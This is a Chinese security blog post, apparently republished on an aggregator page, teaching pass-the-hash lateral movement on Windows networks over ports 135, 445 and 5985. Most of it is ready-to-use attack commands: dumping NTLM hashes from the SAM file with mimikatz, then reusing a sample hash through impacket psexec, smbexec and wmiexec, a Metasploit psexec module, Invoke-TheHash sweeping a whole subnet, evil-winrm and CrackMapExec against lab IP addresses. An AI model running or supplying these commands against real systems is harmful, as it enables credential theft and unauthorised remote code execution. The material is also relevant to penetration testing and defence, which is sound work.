终究没有人在意一家民营企业的生死

去泰国看了一场“成人秀”,画面尴尬到让人窒息.....

【少儿禁】马建《亮出你的舌苔或空空荡荡》

网友建议:远离举报者李X夫!

网曝黑人留学生侮辱中国女生是“母狗”,网友愤慨:不欢迎洋垃圾

生成图片,分享到微信朋友圈

自由微信安卓APP发布,立即下载! | 提交文章网址
查看原文

内网各端口hash传递技巧

Ca1y0a 乌雲安全 2022-09-16

本文来自“白帽子社区知识星球”


01
前⾔

随着攻防演练的频繁和⼈们安全意识的提升,企业内部Windows主机的⼝令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是⽆法解密出密码的情况,这时候就需要⽤到内⽹ hash 传递技术。使⽤该⽅法,攻击者不需要花费时间来怼hash进⾏爆破,常常适⽤于域/⼯作组等环境中。

02
测试环境

Windows server 2012 ⾸先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这⾥推荐从sam⽂件中读取

mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"

这⾥获取到的是:47bf8039a8506cd67c524a03ff84ba4e



对于⼀些远程命令的执⾏⽅式和依赖端⼝


IPC$+AT 445PSEXEC 445WMI 135Winrm 5985(HTTP) 5986(HTTPS)


135 端⼝wmi 哈希传递


wmi (Windows management Instrumentation) 即 windows 管理⼯具,windows 98 之后的操作 系统都⽀持wmi,默认开启,且windows 默认不会将wmi 的操作记录到⽇志。wmi 并不⽀持直接执⾏命令,但可以执⾏⽂件,通过增加执⾏程序参数的⽅式执⾏命令的效果;但 是wmi 是不⽀持返回的,执⾏完之后并不能看到回显




有些⼯具的原理是wmi 创建进程执⾏命令,然后将结果输出到⽂件,这个⽂件位于创建的共享⽂件 夹中,然后通过FSO组件访问远程共享⽂件夹中的结果,将⽂件进⾏输出。读取完成后,执⾏wmi 命令删除⽂件,然后退出删除⽂件共享。其中常⽤的⼯具是impacket 中的wimiexec 利⽤⽅式如下,此时的135 和445 端⼝都开放




若遇到只开放135的情况,可以增加nooutput 参数,不进⾏输出




成功执⾏了whoami 命令


另外,还可通过wmicmd.exe 进⾏利⽤;WMICMD的执⾏过程是吧结果写⼊倒注册表,之后读 取完注册表之后并删除,然后回显到本地,由于wmi 可以远程操作注册表的信息,查询的注册表 信息会产⽣回显


https://github.com/nccgroup/WMIcmd


445 端⼝ SMB hash 传递445 端⼝ SMB hash 传递


利⽤Windows 的smb服务⾸先需要建⽴ipc,可以使⽤hash 传递来进⾏攻击,需要⽬标防⽕ 墙允许445 端⼝的通过。PsExec 是⼀种轻型 telnet-replacement,可⽤于在其他系统上执⾏进 程,⽆需⼿动安装客户端软件即可完成 控制台应⽤程序的完整交互性。 


Impacket


利⽤impacket 中的psexec 程序,命令如下:

python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61

利⽤impacket 中的smbexec 程序,命令如下


python3 smbexec.py -hashes00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4eAdministrator@192.168.31.61


利⽤msf


利⽤msf 进⾏pth


use exploit/windows/smb/psexecset rhosts 192.168.31.194set smbuser administratorset smbpass00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e

03
通过powershell 批量

脚本地址:

https://github.com/Kevin-Robertson/Invoke-TheHash


本地加载powershell脚本:powershell -exec bypassSET-EXECUTIONPOLICY REMOTESIGNEDImport-Module .\Invoke-WMIExec.ps1Import-Module .\Invoke-TheHash.ps1# 利⽤已知的hash 对内⽹主机进⾏批量,域环境Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e# 利⽤已知的hash 对内⽹主机进⾏批量,⼯作组环境Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Usernameadministrator -Hash 47bf8039a8506cd67c524a03ff84ba4e

04
5985 HASH 传递

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协 议[SOAP]的 “防⽕墙友好” 协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。winRM的默认端⼝为 5985(http)或5986(https)。winRM横向移动同时适⽤于⼯作组和域环境。 


evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防⽕墙影响的协议,允许不同供应商的硬件和操 作系统相互操作。⽽微软将其包含在他们的系统中,是为了便于系统管理员在⽇常⼯作中,远程管 理服务器,或通过脚本同时管理多台服务器,以提⾼他们的⼯作效率。


在kali进⾏安装

gem install evil-winrm

执⾏以下命令

evil-winrm -i 192.168.31.194 -u Administrator -H47bf8039a8506cd67c524a03ff84ba4e



05
CrackMapExec

另外⼀款⼯具就是CrackMapExec, 安装⽅式

#~ apt-get install -y libssl-dev libkrb5-dev libffi-dev python-devbuild-essential#~ git clone https://github.com/Porchetta-Industries/CrackMapExec#~ cd CrackMapExec#~ poetry install#~ poetry run crackmapexec


使⽤⽅式

poetry run crackmapexec winrm 192.168.31.194 -u admin -H00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -xwhoami

加个好友进技术交流群

进群请备注:进群

推荐阅读

欢迎 在看留言分享至朋友圈 三连


 好文推荐  



文章有问题?点此查看未经处理的缓存